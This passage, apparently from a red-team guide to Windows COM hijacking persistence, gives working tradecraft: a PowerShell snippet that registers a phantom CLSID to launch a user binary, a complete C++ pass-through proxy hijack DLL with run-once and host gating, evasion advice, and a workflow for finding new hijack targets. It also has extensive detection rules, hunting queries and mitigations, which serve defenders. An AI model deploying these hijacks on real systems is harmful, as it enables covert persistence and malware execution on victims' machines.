1. During a ClickOnce deployment, `rundll32.exe` calls `CoCreateInstance()` with a **hardcoded CLSID that is not registered** — `dfsvc.exe` normally registers it later at runtime via `CoRegisterClassObject` ([16]).
|
||||||
|
2. Pre-register that CLSID in HKCU with a `LocalServer32` pointing at your binary (or at `cmd.exe`/`powershell.exe` plus script arguments — fileless-capable, since `LocalServer32` values may carry a command line) ([4], [16]).
|
||||||
|
3. At the next deployment, the DCOM-launcher svchost starts your binary to satisfy the activation — inside a legitimate process tree, overwriting nothing.
|
||||||
|
4. **Limitations:** fires only while `dfsvc.exe` is not already running, and adds a 30–50 second delay to the deployment ([16]). The hardcoded CLSID value is not printed in the accessible excerpt of the CrowdStrike post — pull the full blog/slides for it (verify in lab).
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Standard user |
|
||||||
|
| OS/build | ClickOnce in use on the host (variant); otherwise any process with dangling CLSID references |
|
||||||
|
| Config | Target CLSID confirmed unregistered (ProcMon `NAME NOT FOUND`) |
|
||||||
|
| Payload | EXE or command line for `LocalServer32`; DLL for `InprocServer32` phantoms |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Phantom-object registration for a CLSID a target process queries but no one owns (illustrative)
|
||||||
|
$clsid = '{DEADBEEF-0000-0000-0000-000000000000}' # replace with your ProcMon-observed dangling CLSID
|
||||||
|
New-Item "HKCU:\Software\Classes\CLSID\$clsid\LocalServer32" -Force |
|
||||||
|
New-ItemProperty -Name '(Default)' -Value "$env:APPDATA\agent.exe -Embedding" | Out-Null
|
||||||
|
# Verify with ProcMon: the next RegOpenKey for this CLSID returns SUCCESS instead of NAME NOT FOUND
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- High-signal heuristic: a registered server path whose file does not exist, or a newly-registered CLSID that has **no HKLM counterpart at all** — the inverse of the classic shadow diff ([16]).
|
||||||
|
- `LocalServer32` values containing script interpreters or arguments are suspicious; `-Embedding` command lines with a non-svchost parent are suspicious ([4]).
|
||||||
|
- The 30–50s ClickOnce deploy delay is user-visible in high-deployment environments ([16]).
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Baseline the set of registered CLSIDs per user; alert on additions that lack a machine-wide twin or that point at user-writable paths.
|
||||||
|
- Alert on `LocalServer32` values invoking `cmd.exe`/`powershell.exe`/script engines.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2.7 Pass-through proxy DLL persistence (stability tradecraft for every vector above)
|
||||||
|
|
||||||
|
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) (enabler tradecraft) · **Since:** leoloobeek, "Proxying COM For Stable Hijacks", Aug 2019 ([11], [12]) · **Affects:** any `InprocServer32` hijack
|
||||||
|
|
||||||
|
A naive hijack DLL that does not implement the class breaks the host: the client asked for real interfaces, gets nothing, and may crash or hang — which is detection by malfunction. The professional pattern is the **pass-through (proxy) DLL**: the hijack DLL exports `DllGetClassObject`/`DllCanUnloadNow`, loads the *original* server from its HKLM path, and forwards the calls, so the client receives the interface pointers it expects and the host behaves normally ([11]). leoloobeek ships the reference PoC as COMProxy ([12]).
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. On `DLL_PROCESS_ATTACH`: disable thread-library calls, load the original server DLL (hardcoded path or read from HKLM via `RegGetValue`), and queue the payload on a **worker thread** — never do real work under loader lock.
|
||||||
|
2. `DllGetClassObject` resolves the original DLL's `DllGetClassObject` via `GetProcAddress` and forwards all three arguments — the client gets the **real** class factory.
|
||||||
|
3. `DllCanUnloadNow` implements leoloobeek's "hold the door" trick: spin until the payload thread signals completion, then forward — so COM never unloads the DLL mid-payload.
|
||||||
|
4. Gate the payload with a named-event mutex (run once per machine) and, optionally, a host-process check (run only inside explorer.exe).
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Standard user (to drop the DLL and plant the shadow) |
|
||||||
|
| OS/build | Matches target host bitness; correct hive placement (`Wow6432Node` for 32-bit hosts) |
|
||||||
|
| Config | Original server path known (from the HKLM registration) |
|
||||||
|
| Payload | Compiled DLL exporting `DllGetClassObject`/`DllCanUnloadNow` (+ `DllRegisterServer`/`DllUnregisterServer` for regsvr32 compatibility) |
|
||||||
|
|
||||||
|
#### Proof of concept — full forwarding skeleton ([11])
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
// hijack.cpp — pass-through COM hijack server (skeleton)
|
||||||
|
// Build as a DLL; export DllGetClassObject + DllCanUnloadNow via .def
|
||||||
|
// (+ DllRegisterServer/DllUnregisterServer for regsvr32 compatibility).
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
typedef HRESULT (STDAPICALLTYPE *_DllGetClassObject)(REFCLSID, REFIID, LPVOID*);
|
||||||
|
typedef HRESULT (STDAPICALLTYPE *_DllCanUnloadNow)(void);
|
||||||
|
|
||||||
|
static HMODULE g_hOrig = NULL; // handle to the ORIGINAL server DLL
|
||||||
|
static volatile LONG g_lPayloadDone = 0;
|
||||||
|
|
||||||
|
static BOOL PayloadAlreadyRan() { // mutex trick (SpecterOps):
|
||||||
|
HANDLE h = CreateEventA(NULL, TRUE, FALSE, "EVNT-48374635899"); // run-once gate
|
||||||
|
if (h == NULL) return TRUE; // fail closed -> no double-run
|
||||||
|
return (GetLastError() == ERROR_ALREADY_EXISTS); // TRUE if a prior instance ran
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOL IsDesiredHost() { // optional process gating:
|
||||||
|
wchar_t p[MAX_PATH]; GetModuleFileNameW(NULL, p, MAX_PATH); // only fire in
|
||||||
|
wchar_t* b = wcsrchr(p, L'\\'); b = b ? b + 1 : p; // the targeted
|
||||||
|
return (_wcsicmp(b, L"explorer.exe") == 0); // host process
|
||||||
|
}
|
||||||
|
|
||||||
|
static DWORD WINAPI PayloadThread(LPVOID) {
|
||||||
|
// Runs OFF the loader lock. Keep it short; no re-entrant CoCreateInstance here.
|
||||||
|
if (IsDesiredHost() && !PayloadAlreadyRan()) {
|
||||||
|
STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi;
|
||||||
|
CreateProcessA(NULL, (LPSTR)"C:\\Windows\\System32\\calc.exe", // <- payload
|
||||||
|
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
|
||||||
|
}
|
||||||
|
InterlockedExchange(&g_lPayloadDone, 1); // signal DllCanUnloadNow
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID) {
|
||||||
|
if (reason == DLL_PROCESS_ATTACH) {
|
||||||
|
DisableThreadLibraryCalls(hMod); // less loader-lock noise
|
||||||
|
wchar_t orig[MAX_PATH] = L"C:\\Windows\\System32\\original_server.dll";
|
||||||
|
g_hOrig = LoadLibraryW(orig); // or read HKLM path via RegGetValue
|
||||||
|
QueueUserWorkItem((LPTHREAD_START_ROUTINE)PayloadThread, NULL, 0); // never block DllMain
|
||||||
|
} else if (reason == DLL_PROCESS_DETACH) {
|
||||||
|
if (g_hOrig) FreeLibrary(g_hOrig);
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
|
||||||
|
if (!g_hOrig) return CLASS_E_CLASSNOTAVAILABLE; // mirror "class missing" on failure
|
||||||
|
_DllGetClassObject p = (_DllGetClassObject)GetProcAddress(g_hOrig, "DllGetClassObject");
|
||||||
|
if (!p) return E_UNEXPECTED;
|
||||||
|
return p(rclsid, riid, ppv); // client gets the REAL interface
|
||||||
|
}
|
||||||
|
|
||||||
|
STDAPI DllCanUnloadNow(void) { // leoloobeek "hold the door" trick:
|
||||||
|
while (InterlockedCompareExchange(&g_lPayloadDone, 0, 0) == 0) Sleep(1); // wait for payload
|
||||||
|
_DllCanUnloadNow p = g_hOrig ? (_DllCanUnloadNow)GetProcAddress(g_hOrig, "DllCanUnloadNow") : NULL;
|
||||||
|
return p ? p() : S_OK;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Exports (`.def`): `DllGetClassObject`, `DllCanUnloadNow` (+ `DllRegisterServer`/`DllUnregisterServer` for regsvr32 compatibility) ([11]).
|
||||||
|
|
||||||
|
**Complementary tradecraft:**
|
||||||
|
|
||||||
|
- **Export forwarding for non-COM exports** (SpecterOps 2025 ([15])): `#pragma comment(linker, "/export:DllGetActivationFactory=directmanipulation.DllGetActivationFactory,@3")` — generate stub sets with FaceDancer (`recon -I target.dll -G`) or Koppeling; SharpDllProxy automates the workflow ([27]).
|
||||||
|
- **`ThreadingModel` must match the HKLM original.** A mismatch makes COM insert proxy/stub marshaling between apartments (slow; can deadlock UI threads / `RPC_E_CANTTRANSMIT`); an STA-expecting client may crash; worst case the host crashes at load — which is detection. `Both` is the safest choice when unsure ([11], [15]).
|
||||||
|
- **DllMain constraints:** never block, never make a re-entrant `CoCreateInstance`, do minimal work under loader lock — spawn a thread. Gate against repeated instantiation with a mutex/event ([11]).
|
||||||
|
- **.NET COMVisible assemblies as payloads:** register the managed class with `regasm` — `InprocServer32` becomes the signed `C:\Windows\System32\mscoree.dll` with `Class`, `Assembly`, `RuntimeVersion`, and optionally `CodeBase` values; the CLR loads your assembly. Pure managed payload behind a signed host DLL ([4], [5]).
|
||||||
|
- **Registration-free COM:** activation-context manifests (`CreateActCtx`/`ActivateActCtx`, app-local manifests, Isolated COM) resolve classes from manifest files instead of the registry — keeps persistence off the CLSID hive entirely, or weaponizes a planted manifest next to a side-loadable binary ([39]).
|
||||||
|
- **ScriptletURL / scrobj.dll registration:** `InprocServer32` = `scrobj.dll` (signed) + a `ScriptletURL` value naming a local/remote `.sct` → fileless-ish and a default AppLocker bypass (squiblydoo, subTee) ([5]). `ScriptletURL` keys are rare legitimately — detection gold.
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- The proxy DLL loads the original server via `LoadLibrary` — defenders see one unsigned image load (your stub) inside a signed host (Sysmon EID 7 on the host process).
|
||||||
|
- `DllCanUnloadNow` spinning makes the module effectively permanent for the host's lifetime — visible as a long-lived non-Microsoft module in explorer.exe.
|
||||||
|
- A correct proxy is *behaviorally* silent: no crashes, no missing interfaces. Detection must come from registry telemetry and module inventories, not malfunction.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Sysmon EID 7 baselines for explorer/taskhostw/browser processes: alert on DLLs loaded from per-user or otherwise non-System32 paths.
|
||||||
|
- Combine the §4 registry rules with periodic module inventories; a hijack that proxies correctly can only be caught by its *registration* or its *image load*.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Tooling
|
||||||
|
|
||||||
|
| Tool | What it does | Where |
|
||||||
|
|---|---|---|
|
||||||
|
| **acCOMplice / COMHijackToolkit** (David Tulis, NCC Group; DerbyCon 9) | Discovery-and-weaponization toolkit: `Extract-HijackableKeysFromProcmonCSV`, `Find-MissingLibraries`, `Hijack-CLSID`, `Hijack-MultipleKeys` (frequency testing), a COMinject PoC, ProcMon filters, and `masterkeys.csv` of known-good targets | [github.com/nccgroup/Accomplice](https://github.com/nccgroup/Accomplice) ([13]) |
|
||||||
|
| **COM-Hunter** (@nickvourd + @S1ckB0y1337; C# .NET + BOF v3.0) | Operator tool with modes `search` (HKLM/HKCU), `persist`, `tasksch`, `treatas`, `remove` | [github.com/nickvourd/COM-Hunter](https://github.com/nickvourd/COM-Hunter) ([14]) |
|
||||||
|
| **Get-ScheduledTaskComHandler.ps1** (enigma0x3) | Enumerates scheduled tasks with ComHandler actions | [github.com/enigma0x3/Misc-PowerShell-Stuff](https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1) ([8]) |
|
||||||
|
| **COMProxy** (leoloobeek) | Pass-through hijack DLL PoC, plus TestCOMClient/TestCOMServer for harness testing | [github.com/leoloobeek/COMProxy](https://github.com/leoloobeek/COMProxy) ([12]) |
|
||||||
|
| **oleviewdotnet** (James Forshaw) | General COM enumeration/analysis (registrations, interfaces, TypeLibs); see also his "COM in 60 Seconds" talk | [github.com/tyranid/oleviewdotnet](https://github.com/tyranid/oleviewdotnet) ([26]) |
|
||||||
|
| **SharpDllProxy**, **FaceDancer**, **Koppeling** | Export-forwarding stub generators for building stable proxy DLLs | [github.com/Flangvik/SharpDllProxy](https://github.com/Flangvik/SharpDllProxy) ([27], [15]) |
|
||||||
|
| **UACME** (hfiref0x) | Reference corpus including the eventvwr CLSID-hijack UAC crossover | [github.com/hfiref0x/UACME](https://github.com/hfiref0x/UACME) ([28]) |
|
||||||
|
| **Atomic Red Team T1546.015** (Red Canary) | Tests #1–#4: ready-made hijack emulation (Test #1 = CAccPropServicesClass `{B5F8350B-...}` via `rundll32.exe -sta`) | [atomic-red-team/atomics/T1546.015](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.015/T1546.015.md) ([29]) |
|
||||||
|
| **EVTX-ATTACK-SAMPLES** (sbousseaden) | `persist_firefox_comhijack_sysmon_11_13_7_1.evtx` — real Sysmon telemetry of an MMDeviceEnumerator hijack via Firefox, for detection validation | [github.com/sbousseaden/EVTX-ATTACK-SAMPLES](https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES) ([30]) |
|
||||||
|
| **bohops' WMI one-liners** | `gwmi Win32_COMSetting` + `cmd /c dir` existence checks to find orphans (e.g. mobsync.exe `{C947D50F-378E-4FF6-8835-FCB50305244D}` on 2008/2012) | bohops.com Part 1 ([4]) |
|
||||||
|
|
||||||
|
> **OpSec:** Offensive tooling that writes HKCU keys still lands in Sysmon EID 12/13 telemetry regardless of how "clean" the resulting persistence is. In assessed environments, stage keys with the same APIs a legitimate installer would use, at plausible times, and clean up helper artifacts (ProcMon CSVs, test DLLs) afterwards.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Detection and hunting
|
||||||
|
|
||||||
|
**Registry telemetry — the ground truth.** Sysmon EID 12 (registry key create/delete), EID 13 (registry value set), and EID 14 (registry key/value rename) are the primary sensors. Target paths:
|
||||||
|
|
||||||
|
- `HKU\<SID>_Classes\CLSID\*` and `HKU\<SID>\Software\Classes\CLSID\*` — `InprocServer32`, `LocalServer32`, `TreatAs`, `ScriptletURL`, ProgID `CLSID` values;
|
||||||
|
- `HKU\<SID>_Classes\TypeLib\*\0\win32|win64` — the TypeLib-hijack path (§2.4);
|
||||||
|
- `HKU\<SID>\Software\Classes\mscfile\shell\open\command` and `*\Folder\shell\open\command` — the eventvwr file-association pivot and `DelegateExecute` abuse (WarzoneRAT) ([1], [9]).
|
||||||
|
|
||||||
|
**High-signal heuristics** (stack them; each alone is good, together they are near-deterministic):
|
||||||
|
|
||||||
|
- `InprocServer32` (Default) pointing outside `%SystemRoot%\System32` / `Program Files` → user-writable paths;
|
||||||
|
- an HKCU CLSID shadowing an HKLM CLSID **with a different server path** (baseline diff);
|
||||||
|
- a registered server path whose file does not exist (phantom/orphan), or a new CLSID with no HKLM twin;
|
||||||
|
- `TreatAs` written by non-svchost/non-Office processes; **any** `ScriptletURL` key creation;
|
||||||
|
- TypeLib values containing `script:`/`http(s):`; scrobj.dll image loads in non-script hosts;
|
||||||
|
- command lines: `rundll32.exe -sta {CLSID}` (junk suffixes like `-stagggg` still work), `verclsid.exe /S /C {CLSID}` (NickTyrer gist; seen in phishing), `xwizard.exe RunWizard /taero /u {CLSID}`, `mmc.exe -Embedding <file.msc>` with a non-svchost parent, `reg.exe` with `TypeLib` + `script`.
|
||||||
|
|
||||||
|
**Named rules and analytics:**
|
||||||
|
|
||||||
|
| Source | Rule / analytic | Focus |
|
||||||
|
|---|---|---|
|
||||||
|
| SigmaHQ | `registry_set_persistence_com_key_linking.yml` ([31]) | `TreatAs` subkey writes (cites bohops Part 2) |
|
||||||
|
| SigmaHQ | `registry_set_treatas_persistence.yml` ([32]) | TreatAs persistence specifically |
|
||||||
|
| SigmaHQ | `registry_set_persistence_search_order.yml`, `registry_set_persistence_com_hijacking_susp_locations.yml`, `registry_set_persistence_com_hijacking_builtin.yml` ([33]) | Search-order abuse; COM servers in suspicious locations; builtin-class hijacks |
|
||||||
|
| detection.fyi index | "Modification Of Default System CLSID Default Value", "PSFactoryBuffer COM Hijacking", "Scrobj.dll COM Hijacking" | CLSID default-value edits, proxy/stub hijacks, scrobj loads |
|
||||||
|
| Elastic (prebuilt) | `persistence_suspicious_com_hijack_registry.toml` ([34]) | HKCU-vs-HKLM shadow diff |
|
||||||
|
| Splunk | "Eventvwr UAC Bypass" ([36]) + COM hijack analytics | `mscfile` HKCU writes |
|
||||||
|
| VirusTotal LiveHunt | YARA keyed on the Sigma behavior rule for CLSID COM hijacking (VT blog, Mar 2024) ([35]) | Sample clustering |
|
||||||
|
| Atomic Red Team | T1546.015 tests #1–#4 ([29]) | Validation/emulation |
|
||||||
|
|
||||||
|
An illustrative Sigma-style skeleton encoding the shadow heuristic *(illustrative — adapt field names to your pipeline; the named rules above are the production versions)*:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
title: Per-User COM Server Registration Outside Machine Hive # (illustrative)
|
||||||
|
logsource:
|
||||||
|
category: registry_set # Sysmon EID 13
|
||||||
|
detection:
|
||||||
|
paths:
|
||||||
|
TargetObject|contains:
|
||||||
|
- '\Software\Classes\CLSID\'
|
||||||
|
- '_Classes\CLSID\'
|
||||||
|
- '\Software\Classes\TypeLib\'
|
||||||
|
values:
|
||||||
|
TargetObject|endswith:
|
||||||
|
- '\InprocServer32'
|
||||||
|
- '\LocalServer32'
|
||||||
|
- '\TreatAs'
|
||||||
|
suspicious_data:
|
||||||
|
Details|contains:
|
||||||
|
- 'AppData\'
|
||||||
|
- 'script:'
|
||||||
|
- 'http:'
|
||||||
|
- 'https:'
|
||||||
|
condition: paths and (values or suspicious_data)
|
||||||
|
level: high
|
||||||
|
```
|
||||||
|
|
||||||
|
And an illustrative KQL hunt over Microsoft Defender for Endpoint registry events *(illustrative — table/field names per MDE schema; the path and value indicators are from the heuristics above)*:
|
||||||
|
|
||||||
|
```kusto
|
||||||
|
// Per-user COM persistence writes: CLSID shadows, TreatAs, TypeLib script: (illustrative)
|
||||||
|
DeviceRegistryEvents
|
||||||
|
| where ActionType in ("RegistryValueSet", "RegistryKeyCreated")
|
||||||
|
| where RegistryKey has_any (@'\Software\Classes\CLSID\', @'_Classes\CLSID\', @'\Software\Classes\TypeLib\')
|
||||||
|
| where RegistryKey endswith @'\InprocServer32'
|
||||||
|
or RegistryKey endswith @'\LocalServer32'
|
||||||
|
or RegistryKey contains @'\TreatAs'
|
||||||
|
or RegistryValueName == 'ScriptletURL'
|
||||||
|
or (RegistryKey contains @'\TypeLib\' and RegistryValueData has_any ('script:', 'http:', 'https:'))
|
||||||
|
| project Timestamp, DeviceName, InitiatingProcessFileName, RegistryKey, RegistryValueName, RegistryValueData
|
||||||
|
| order by Timestamp desc
|
||||||
|
```
|
||||||
|
|
||||||
|
**Why Autoruns misses most of this.** Autoruns enumerates only specific COM categories and does not diff the full `HKCU\Software\Classes\CLSID` tree against HKLM — a per-user CLSID shadow is invisible in default views. When a Run-key launcher *is* used (`rundll32.exe -sta {CLSID}`, `mmc.exe -Embedding payload.msc`), the visible autorun entry points at a signed Microsoft binary while the payload path hides in the Classes hive ([5]). Practical compensations ([5], [33]):
|
||||||
|
|
||||||
|
- Periodically `reg export` `HKCU\Software\Classes\CLSID`, `HKCU\Software\Classes\TypeLib`, and `UsrClass.dat`, and diff against a gold image;
|
||||||
|
- Cross-check Sysmon EID 7 (image loads) of explorer/svchost/taskhostw for DLLs loaded from outside System32;
|
||||||
|
- Treat every named-rule hit as persistence until proven otherwise — these keys are near-zero noise in enterprise baselines.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Mitigations and hardening
|
||||||
|
|
||||||
|
1. **Monitor the merge, not the machine hive.** All vectors in this chapter write to `HKCU\Software\Classes` (surfaced as `HKU\<SID>\Software\Classes` and `HKU\<SID>_Classes`). Deploy the Sigma/Elastic coverage in §4; the shadow-diff heuristic (HKCU registration diverging from the HKLM twin) is the single highest-value analytic.
|
||||||
|
2. **Diff hives against gold images.** Scheduled exports of `HKCU\Software\Classes\CLSID` and `...\TypeLib` per user, diffed centrally, catch what Autoruns cannot ([5]).
|
||||||
|
3. **Module-load hygiene.** Alert (Sysmon EID 7) on Microsoft-signed auto-start hosts — explorer.exe, taskhostw.exe, svchost.exe, OUTLOOK.EXE, browsers — loading DLLs from per-user or otherwise non-standard paths, and on scrobj.dll in non-scripting processes.
|
||||||
|
4. **Constrain script components.** `ScriptletURL` values and `script:` TypeLib values are near-zero legitimate use; block or alert on both, and restrict `.sct` execution where the business allows ([5], [17]).
|
||||||
|
5. **Respond by deleting the shadow.** Per-user hijacks are fully reversible: removing the attacker's HKCU keys restores the HKLM registration with no damage to the host — then hunt the payload binary and the initial-access vector that planted it.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Research Lab: Discovering New COM Persistence
|
||||||
|
|
||||||
|
Everything in section 2 was found by someone running the workflow below. The class is not exhausted: new auto-start hosts (WebView2-based apps, Electron shells, future shell components) keep bringing new high-frequency activations, and each one is a potential persistence slot.
|
||||||
|
|
||||||
|
### 1. Hunting hypothesis
|
||||||
|
|
||||||
|
The open classes of *new* COM persistence primitives are: (a) **undefined-but-referenced CLSIDs** in auto-start, Microsoft-signed hosts — activations that fail with `NAME NOT FOUND` today and can be claimed per-user tomorrow, breaking nothing (CrowdStrike's ClickOnce result proves the pattern generalizes ([16])); (b) **high-frequency TypeLib/LIBID shadows** of Automation libraries that stock hosts resolve constantly, especially combined with the `script:` moniker (only one LIBID is publicly burned so far ([17])); (c) **`TreatAs`/`AutoTreatAs` links** under classes loaded by scheduled tasks and shell extensions, which evade InprocServer32-only monitoring ([5], [20]); and (d) **WoW64 reflection gaps** — 32-bit hosts whose `Wow6432Node` Classes path defenders rarely baseline ([4], [23]).
|
||||||
|
|
||||||
|
### 2. Enumeration — building the target list
|
||||||
|
|
||||||
|
**Static orphan/phantom sweep (bohops method ([4]))** — find registered servers whose binaries are gone:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
|
||||||
|
$paths = $inproc | %{ $_.InprocServer32 }
|
||||||
|
foreach ($p in $paths){ $p; cmd /c dir $p > $null } # "File Not Found" = orphan
|
||||||
|
```
|
||||||
|
|
||||||
|
Repeat for `LocalServer32`; normalize command-line arguments and environment variables before testing existence. acCOMplice's `Find-MissingLibraries` automates this, and `Extract-HijackableKeysFromProcmonCSV` post-processes captures ([13]). Historical hit: mobsync.exe `{C947D50F-378E-4FF6-8835-FCB50305244D}` on Server 2008/2012 ([4]).
|
||||||
|
|
||||||
|
**Dynamic dangling-reference discovery (ProcMon).** Filters: `Operation is RegOpenKey` + `Result is NAME NOT FOUND` + `Path ends with InprocServer32`, optionally narrowed to target processes (`msedgewebview2.exe`, `OUTLOOK.EXE`, `Teams.exe`). Capture during logon and application launches. Every hit is a CLSID a live process tries to activate that you can register in HKCU ([15], [16]).
|
||||||
|
|
||||||
|
**Task-driven discovery.** `Get-ScheduledTaskComHandler.ps1` ([8]) or the §2.2 PowerShell loop → user-context ComHandler tasks with logon/idle triggers = scheduled triggers you can shadow.
|
||||||
|
|
||||||
|
**Frequency scoring.** A hijack is only as good as its trigger rate. Options: boot/session ProcMon traces → count `RegOpenKey` hits per CLSID per process per hour; ETW (Microsoft-Windows-COMRuntime / registry ETW); or acCOMplice's `Hijack-MultipleKeys` — hijack several candidates at once with a *logging* DLL and count activations over days ([13]). Score = trigger frequency x host desirability (explorer/browsers/taskhostw > niche processes) x breakage risk.
|
||||||
|
|
||||||
|
### 3. Triage heuristics — a target is promising if...
|
||||||
|
|
||||||
|
- the activating process is an **auto-start, Microsoft-signed host** in a normal user session (explorer.exe, taskhostw.exe, browsers/WebView2, Outlook);
|
||||||
|
- activation happens **at logon** or on a frequent, predictable cadence (task trigger, audio-stack use, shell start);
|
||||||
|
- the class is **third-party, abandoned, or undefined** — more likely to survive Windows updates than in-box Microsoft classes (CrowdStrike's point ([16]));
|
||||||
|
- the HKLM original exists with a known `ThreadingModel` (so a pass-through proxy keeps the host functional), or nothing exists at all (phantom — nothing to break);
|
||||||
|
- no HKCU shadow is already present, and the target's bitness/hive placement (including `Wow6432Node`) is understood;
|
||||||
|
- the payload path can be staged somewhere plausible (`%APPDATA%\Microsoft\...`), matching ITW precedent ([19]).
|
||||||
|
|
||||||
|
### 4. Analysis workflow — validating a candidate
|
||||||
|
|
||||||
|
Static first: dump the class registration with oleviewdotnet ([26]); record the original server path, `ThreadingModel`, ProgID/LIBID links, and whether the class is a shell extension (extra shell-specific values like `ShellFolder` attributes may be required — see the eventvwr recipe, §2.1).
|
||||||
|
|
||||||
|
Dynamic harness: implement the §2.7 pass-through DLL against the original server and unit-test it with a controlled client — leoloobeek ships TestCOMClient/TestCOMServer for exactly this ([11], [12]). Then soak-test the real host:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Soak loop sketch: repeatedly launch/kill the host and watch for instability (illustrative)
|
||||||
|
1..50 | % {
|
||||||
|
Start-Process explorer.exe; Start-Sleep 5
|
||||||
|
Get-WinEvent -LogName Application -MaxEvents 5 |
|
||||||
|
?{ $_.ProviderName -eq 'Windows Error Reporting' } # WerFault breadcrumb
|
||||||
|
Stop-Process -Name explorer -Force; Start-Sleep 2
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Watch for WerFault entries, UI hangs, and proxy-marshal stalls. Verify: `ThreadingModel` matches HKLM; the payload is gated (mutex + host check) so it runs once; 32/64-bit hive placement is correct; and `DllCanUnloadNow` lets the payload finish before unload ([11]).
|
||||||
|
|
||||||
|
### 5. Fuzzing / mutation ideas
|
||||||
|
|
||||||
|
Mutation in this category means *systematically varying the registration*, not the bytes (methodology derived from the vectors above; treat specific outcomes as verify-in-lab):
|
||||||
|
|
||||||
|
- **`ThreadingModel` matrix** (`Apartment`/`Free`/`Both`/`Neutral`/absent) against STA- and MTA-hosted clients — map which mismatches produce silent proxy/stub insertion vs. hangs vs. crashes; crashes tell you the client is apartment-sensitive and the proxy must be exact.
|
||||||
|
- **Value-type and moniker mutations:** `REG_SZ` vs `REG_EXPAND_SZ` with unexpanded variables; `script:` with local path vs. remote URL in TypeLib values; `ScriptletURL` on scrobj-backed classes — observe which combinations oleaut32/scrobj actually honor.
|
||||||
|
- **Link-type mutations:** `TreatAs` vs `AutoTreatAs` vs direct shadow on the same class; check which are honored per client and which telemetry each generates.
|
||||||
|
- **Hive-placement mutations:** 64-bit host vs. `Wow6432Node`-only shadow; `HKU\<SID>_Classes` vs `HKU\<SID>\Software\Classes` — confirm which underlying store each monitored path surfaces from ([4], [23]).
|
||||||
|
- **Shell-only knobs:** `LoadWithoutCOM` and `ShellFolder` attribute combinations for shell-loaded classes ([28]).
|
||||||
|
|
||||||
|
### 6. From lead to primitive — proving exploitability
|
||||||
|
|
||||||
|
A candidate graduates to a persistence primitive when you can demonstrate, in a clean VM: (1) the target host loads *your* DLL on the expected trigger (confirm via ProcMon `Load Image` or Sysmon EID 7); (2) the payload executes exactly once per intended scope (mutex gate works across logons); (3) host functionality is intact — no WerFault, no UI regression, the proxied class answers real calls (the squiblydoo lesson: a hijack that breaks slmgr.vbs/WinRM is a detection, not a persistence ([5])); (4) it survives logoff/logon and reboot; and (5) it produces the expected, minimal telemetry set (§4) — document the EID 12/13 writes and EID 7 loads so the blue team can validate their rules against your emulation (Atomic Red Team tests #1–#4 are the baseline ([29]), and EVTX-ATTACK-SAMPLES shows what real telemetry looks like ([30])).
|
||||||
|
|
||||||
|
### 7. Further reading
|
||||||
|
|
||||||
|
- bohops, *Abusing the COM Registry Structure Part 2* — loading techniques and evasion ([5])
|
||||||
|
- SpecterOps, *Revisiting COM Hijacking* (2025) — modern hosts, export forwarding, OpSec ([15])
|
||||||
|
- leoloobeek, *Proxying COM For Stable Hijacks* — the pass-through pattern ([11])
|
||||||
|
- CrowdStrike, *New Abuse of the ClickOnce Technology: Part 2* — phantom-object persistence ([16])
|
||||||
|
- David Tulis / NCC Group, *acCOMplice* — discovery methodology and tooling ([13])
|
||||||
|
- MDSec, *Persistence Part 2 – COM Hijacking* — ComHandler walkthrough ([10])
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
[1] Component Object Model Hijacking (T1546.015) — MITRE ATT&CK (updated 2025) — https://attack.mitre.org/techniques/T1546/015/
|
||||||
|
[2] Merged View of HKEY_CLASSES_ROOT — Microsoft — https://learn.microsoft.com/en-us/windows/win32/sysinfo/merged-view-of-hkey-classes-root
|
||||||
|
[3] TreatAs key — Microsoft — https://learn.microsoft.com/en-us/windows/win32/com/treatas
|
||||||
|
[4] Abusing the COM Registry Structure: CLSID, LocalServer32, & InprocServer32 — bohops (2018) — https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
|
||||||
|
[5] Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques — bohops (2018) — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
|
||||||
|
